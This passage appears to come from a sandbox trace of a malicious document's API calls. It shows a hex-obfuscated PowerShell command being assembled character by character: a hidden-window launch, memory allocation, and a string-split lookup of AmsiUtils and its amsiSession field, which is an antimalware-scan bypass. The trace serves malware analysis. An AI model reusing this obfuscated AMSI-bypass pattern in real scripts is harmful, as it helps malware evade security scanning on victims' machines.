dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.124] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.124] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.124] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.124] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.124] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarBstrCat (in: bstrLeft="&H", bstrRight="E6", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.124] VarParseNumFromStr (in: strIn="&HE6", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.124] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="æ") returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0072.125] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'", bstrRight="s", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.125] VarBstrCat (in: bstrLeft="&H", bstrRight="D2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.125] VarParseNumFromStr (in: strIn="&HD2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.125] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ò") returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'em'+'ent.Au'+'toma'+'tion.A'+'ms'+'i'+'U'+'ti'+'l'+'s').GetField('a'+'m'+'s'+'iS'+'es'+'s", bstrRight="i", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="œ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9c£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Þ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Þ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" £µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.126] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Æ£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¦", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¦£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="è", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="裵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¬", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¬£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="X", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="X£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ꣵ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="v£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¶", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¶£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¤£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ì", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ì£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="º£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="æ", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="棵½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ä", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ä£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ø", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ø£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ò", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ò£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ž", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8e£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 